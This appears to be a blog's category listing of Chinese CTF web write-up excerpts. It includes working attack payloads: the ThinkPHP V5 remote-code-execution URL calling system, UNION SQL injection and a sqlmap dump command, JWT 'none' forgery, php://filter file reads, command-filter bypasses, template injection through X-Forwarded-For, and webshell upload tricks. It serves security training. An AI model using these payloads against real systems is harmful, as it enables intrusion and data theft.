
wp
文章平均质量分 55
行于其野
这个作者很懒,什么都没留下…
展开
-
[HFCTF2020]EasyLogin(node.js的koa框架、jwt攻击方法)
1、node.js koa的主要框架目录创建一个rest-hello的工程,结构;2、jwt攻击方法深入了解Json Web Token之概念篇深入了解Json Web Token之实战篇 总的来说,jwt由三部分组成:Header.Payload.Signature。攻击的办法之一可以把header中alg字段更改为’none’,且Payload的secretid为空,即没有Signature因为sid为空时,jwt将采用none algorithm解密,即对应了将alg='none’的加密原创 2021-02-11 12:47:51 · 463 阅读 · 2 评论 -
[网鼎杯 2020 朱雀组]phpweb(各种读取文件函数,call_user_func()函数和序列化绕过)
知识点读取文件的方法readfile,file_get_contents,highlight_filecall_user_func()第一个参数 callbac 是被调用的回调函数,其余参数是回调函数的参数序列化题解:由于页面不断刷新,所以抓包分析下post传入了参数data和一串类似日期格式的东西合理推测是使用了call_user_func()函数,并将date()作为回调函数,由此输出了上面红色框部分func=readfile&p=index.php原创 2021-02-04 22:39:09 · 887 阅读 · 0 评论 -
[De1CTF 2019]SSRF Me(Flask框架的代码审计)
参考文章:Flask框架快速入门学习#! /usr/bin/env python#encoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)sec原创 2021-02-04 21:55:28 · 827 阅读 · 0 评论 -
[BJDCTF2020]ZJCTF,不过如此(读取文件、preg_replace与代码执行)
知识点伪协议读取文件深入研究preg_replace与代码执行/e模式的preg_replace,有一个远程代码执行漏洞:/e 修正符使 preg_replace() 将 replacement 参数(第二个参数,字符串)当作 PHP 代码执行(其实php双引号都能导致代码执行的)。题解先读取next.php的源码(与上题方法一样) preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);\\1其实就是\1,\原创 2021-02-04 20:53:29 · 175 阅读 · 0 评论 -
[BJDCTF2020]The mystery of ip(xff中的php模板注入)
在hint.php中发现Do you know why i know your ip?的提示首先想到xff伪造本地ipip确实改变但flag并没有出现(是我鲁莽了 )参考网上的题解原来是xff中存在php模板注入尝试在xff头中执行命令ls哦~成功了,美滋滋地去查看flag.php真是除了源码啥也没发现~~$smarty->display("string:".$ip); 这里发现原来是用采用了smarty模板引擎,字符串代替smarty模板,没有经过任何过滤,产生了模板注入漏原创 2021-02-04 17:28:50 · 214 阅读 · 0 评论 -
[BJDCTF2020]Mark loves cat(.git源码泄露与代码审计之变量覆盖漏洞)
知识点:php中$$用来定义可变变量解题:<?phpinclude 'flag.php';$yds = "dog";$is = "cat";$handsome = 'yds';foreach($_POST as $x => $y){ $$x = $y; #若传入x=y,则$x=y}foreach($_GET as $x => $y){ $$x = $$y; #若传入x=y,则$x=$y}foreach($_GET as $x =&原创 2021-02-04 16:23:48 · 356 阅读 · 0 评论 -
[安洵杯 2019]easy_web(PHP反斜杠匹配问题)
知识点:linux命令绕过cat flag --> ca\t fl\ag强类型绕过md5if((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))payloada=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%9原创 2021-02-04 14:38:09 · 295 阅读 · 0 评论 -
[SUCTF 2019]CheckIn(user.ini文件构成的PHP后门)
user.ini文件构成的PHP后门原创 2021-02-02 16:25:41 · 180 阅读 · 0 评论 -
[ZJCTF 2019]NiZhuanSiWei(伪协议读取文件)
0x01 知识点1、data协议用于数据流的读取data://text/plain;base64,xxxx(base64编码后的数据)data伪协议只有在php<5.3且allow_url_fopen :on,allow_url_include:on时可以写木马。2、php伪协议:可结合文件包含漏洞读取文件源码或执行文件需要开启allow_url_fopen的:php://input、php://stdin、php://memory和php://temp不需要开启allow_wrl_fo原创 2021-02-02 16:07:38 · 576 阅读 · 0 评论 -
[RoarCTF 2019]Easy Java
知识点:WEB-INF/web.xml泄露WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。WEB-INF主要包含一下文件或目录:/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .原创 2021-01-29 15:33:20 · 125 阅读 · 0 评论 -
[BUUCTF 2018]Online Tool
好难一题~~知识点:escapeshellarg1.确保用户只传递一个参数给命令2.用户不能指定更多的参数一个3.用户不能执行不同的命令功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)任何单引号都会被加上\转义,且转义后用一对单引号括起来,变成'\''escapeshellcmd1.确保用户只执行一个原创 2021-01-27 11:00:11 · 136 阅读 · 1 评论 -
[网鼎杯 2020 青龙组]AreUSerialz(php不同属性序列化、php伪协议读取文件)
知识点:序列化与反序列化protected修饰的属性被序列化时,会加上\00*\00前缀private修饰的属性被序列化时,会加上\00类名\00前缀php伪协议读取文件内容php://filter/convert.base64-encode/resource=文件名打开靶场发现源码<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { protected $op;原创 2021-01-24 10:48:39 · 255 阅读 · 1 评论 -
[GXYCTF2019]Ping Ping Ping(linux命令下绕过)
1、绕过空格${IFS}$IFS$9?ip=1%20|%20ls提示不能使用空格?ip=1|ls发现了flag.php和index.phpcat${IFS}flag.php好像有什么符号又被过滤了,换一种空格绕过?ip=1|cat$IFS$9flag.phpflag被过滤了那就看看index.php吧发现flag四个字符按照顺序排列被绕过了...原创 2021-01-03 08:53:26 · 607 阅读 · 0 评论 -
buuctf [HCTF 2018]admin(flask cookie伪造)
知识点1、flask cookie伪造2、flask中的SECRET_ KEY值作用Flask、Django的 secret key 设置有什么用?SECRET_KEY配置变量是通用密钥,可在Flask和多个第三方扩展中使用其名所示,加密的强度取决于变量值的机密度.不同的程序要使用不同的密钥,而且要保证其他人不知道你所用的字符串,SECRET_KEY的作用主要是提供一个值做各种HASH,主要的作用应该是在其加密过程中作为算法的一个参数(salt或其他).所以这个值的复杂度也就影响到了数据传输和存储原创 2021-01-02 22:56:07 · 1187 阅读 · 0 评论 -
Easy MD5
知识点:1、MD5(str,true)绕过当raw项为true时,返回的这个原始二进制不是普通的二进制(0,1),而是 'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。随便输入有提示:select * from 'admin' where password=md5($pass,true)构造payload password=ffifdyop原理:https://blog.youkuaiyun.com/march97/article/details/81222922htt原创 2021-01-02 22:50:41 · 395 阅读 · 0 评论 -
buuctf BabySQli
随便输入,发现一串密文,数字+大写字母,大概是采用base32加密base32解密如下,有“=”,猜测是base64加密base64解密如下查询后台数据库username等于输入值得所有数据后台数据库的登录逻辑大概是:将输入的用户名与后台数据库中的所有用户名做比较,找出相等的,然后用这组数据的密码与用户输入的密码作比较,若相等,则登录成功重要点:放置于后台的数据库大概率是经过hash加密的操作:在用户名框注入1’ union select ‘admin’,加密后的密码为了使登录成功,注入原创 2021-01-02 15:36:27 · 1093 阅读 · 0 评论 -
buuctf php(扫描网站备份文件和反序列化漏洞)
知识点:1、扫描网站备份文件别人写的备份文件url生成字典脚本import osimport os.pathimport requestsfrom urllib.parse import unquotesuffixList = ['.rar','.zip','.tar','.tar.gz']keyList = ['www','wwwroot','site','web','website','backup','data','mdb','WWW','新建文件夹','ceshi','databa原创 2020-12-30 15:43:42 · 1207 阅读 · 0 评论 -
buuctf Easy Calc(HTTP请求走私和PHP字符串解析特性)
知识点:1、PHP字符串解析特性2、scandir() 返回指定目录中的文件和目录的数组。readfile() 输出一个文件var_dump()此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值file_get_contents()将一个文件读入字符串中3、绕过过滤方法:用chr()转ascii再进行拼接题目:<?phperror_reporting(0);if(!isset($_GET['num'])){ show_source(__FILE__);}e原创 2020-12-30 13:55:04 · 364 阅读 · 0 评论 -
攻防世界之upload1
题目:WP:查看部分代码可知只允许上传图片文件,先随便上传一张图片试试上传图片后我们能看到图片上传的路径,访问试试成功了,由此想到一句话木马编写文件flag.php制作木马文件将木马文件上传此时木马文件躲过了前端测试,将后缀改为.php上传成功,查看木马文件浏览器解析乱码了,但没事,接下来用蚁剑连接找到flag啦~...原创 2020-11-17 15:09:53 · 474 阅读 · 0 评论 -
攻防世界之unserialize3
题目:WP:新知识:serialize:序列化函数,将对象转化为可保存可传输的字符串unserialize:反序列化,将字符串转为原来的对象<?php$a = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut'); //序列化数组$s = serialize($a);echo $s;//输出结果:a:3:{s:1:"a";s:5:"Apple";s:1:"b";s:6:"banana";s:1:"c"原创 2020-11-17 13:01:46 · 269 阅读 · 0 评论 -
攻防世界之PHP2
题目:WP:打开题目,查看了源码,挺莫名其妙的搜索后发现,可以访问index.phps–index.php的源代码php源码文件为phps,url会自动解码一次分析代码可知,我们要得到key是第一个if的时候,要使id不等于admin,但经过url解码后,又要等于admin,提一下url编码:%+字符对应的US-ASCIIurl中id的值传入后,页面解析时会自动自动进行url解码一次,所以我们可以将a进行两次编码,第一次编码%61,第二次编码后为%2561,令id=%...原创 2020-11-17 12:31:50 · 652 阅读 · 0 评论 -
攻防世界之NaNNaNNaNNaN-Batman
题目WP:很显然是一个包含js的文件,将文件名后缀改外.html浏览器打开没有反应,查看源代码如下基本上是乱码,最后有个eval()函数,执行了_变量,我们将eval()改成alert()将_变量弹出eval() 函数:可计算某个字符串,并执行其中的的 JavaScript 代码。alert() 函数:用于显示带有一条指定消息和一个确定按钮的警告框。再次用浏览器打开文件,出现以下弹窗将上述代码调整后得到如下function $() { var e = document.g原创 2020-11-17 12:02:13 · 229 阅读 · 0 评论 -
攻防世界之web2
题目:WP:代码审计<?php$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";function encode($str){ $_o=strrev($str); // echo $_o; for($_0=0;$_0<strlen($_o);$_0++){ $_c=substr($_o,$_0,1); $_原创 2020-11-17 09:46:52 · 263 阅读 · 0 评论 -
攻防世界之NewsCenter
题目WP在searchnew中随意输入字符串,burpsuite抓包发现输入的字符串以post形式提交给了search参数将http请求打包,用sqlmap探测search参数是否存在sql注入风险注入成功接下来直接将后台数据库直接输出sqlmap -r searech -p search --dump找到flag啦~手动注入:发现哪一列可以回显打印数据库的表search=0' union select 1,group_concat(table_name),3 from原创 2020-11-17 09:13:42 · 311 阅读 · 0 评论 -
php_rce
WP 攻防世界 php_rce题目:WP:各种办法没有收获,上网搜索后发现原来是有个ThinkPHP V5漏洞,并且在github上就已经提交过找到相应版本的payload:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id改变payload查看当前目录下的文件emmm…无重要信息,接着查看上一级目录:继续查看上一级目录…原创 2020-11-14 21:15:20 · 290 阅读 · 0 评论 -
攻防世界之Training-WWW-Robots
WP 攻防世界 Training-WWW-Robots题目writeup很明显,查看robots.txt文件提示查看fl0g.php文件得到flag了~原创 2020-11-14 21:01:05 · 403 阅读 · 0 评论